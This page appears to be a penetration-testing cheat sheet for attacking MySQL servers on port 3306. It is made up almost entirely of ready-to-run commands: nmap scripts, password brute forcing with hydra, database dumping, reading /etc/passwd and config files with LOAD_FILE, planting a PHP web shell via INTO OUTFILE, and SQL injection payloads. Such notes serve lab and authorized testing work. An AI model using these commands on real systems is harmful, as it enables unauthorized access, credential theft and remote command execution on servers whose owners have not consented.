Skip to main content

3306 my SQL

MySQL Enumeration (3306)
#

Run nmap MySQL scripts
#

nmap --script=mysql-* -p 3306 $IP

Connect to MySQL
#

mysql -h $IP -u root
mysql -h $IP -u root -p

Brute force MySQL with hydra
#

hydra -L /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/wordlists/rockyou.txt $IP mysql

Dump a database
#

mysqldump -h $IP -u root -ppassword database_name > dump.sql

Show version and current user
#

SELECT version();
SELECT user();
SELECT database();

List databases and tables
#

SHOW databases;
SHOW tables;
USE database_name;
SHOW tables;

List grants
#

SHOW GRANTS;
SHOW GRANTS FOR CURRENT_USER();

Check FILE privilege
#

SELECT user, file_priv FROM mysql.user WHERE file_priv='Y';
SHOW variables LIKE 'secure_file_priv';

Read files with LOAD_FILE
#

SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('/var/www/html/config.php');

Write a web shell with INTO OUTFILE
#

SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

Search for interesting tables and columns
#

SHOW tables LIKE '%user%';
SHOW tables LIKE '%pass%';
SELECT table_name, column_name FROM information_schema.columns WHERE column_name LIKE '%pass%';

Export query results to CSV
#

SELECT * FROM users INTO OUTFILE '/tmp/users.csv'
FIELDS TERMINATED BY ','
ENCLOSED BY '"'
LINES TERMINATED BY '\n';

SQLi if the web app uses MySQL
#

' OR 1=1--
" OR 1=1--
' UNION SELECT 1,2,3--
' UNION SELECT user(),database(),version()--